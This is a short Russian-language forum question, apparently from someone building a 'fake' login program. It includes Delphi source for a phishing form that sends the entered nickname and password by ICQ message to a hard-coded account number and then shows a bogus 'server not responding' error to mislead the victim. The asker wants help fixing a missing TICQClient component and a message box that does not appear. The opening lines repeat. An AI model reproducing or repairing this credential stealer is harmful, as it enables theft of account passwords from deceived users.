скачал пару исходников фейков с отправкой на ICQ при запуске на обоих пишет ошибку:
Class TICQClient not Found Ignore the error?
NOTE: Ignoring the error may cayse components to be deleeted or property values to be lost.
скачал пару исходников фейков с отправкой на ICQ при запуске на обоих пишет ошибку:
Class TICQClient not Found Ignore the error?
NOTE: Ignoring the error may cayse components to be deleeted or property values to be lost.
procedure TForm1.Button1Click(Sender: TObject);
begin
if (Edit1.Text='') or (Edit2.Text='') then
MessageBox(0, 'вы не ввели Логин или Пароль', 'Невозможно подключиться!', MB_ICONWARNING);
icqclient1.SendMessage(314958697, 'Nick: ' + Edit1.Text + ' Password: ' + Edit2.Text);
icqclient1.LogOff();
MessageBox(10, 'Не удалось подсоединиться к серверу!', 'Сервер не отвечает', MB_ICONWARNING);
end;
Поченму не выходит последнее сообщение?
MessageBox(10, 'Не удалось подсоединиться к серверу!', 'Сервер не отвечает', MB_ICONWARNING);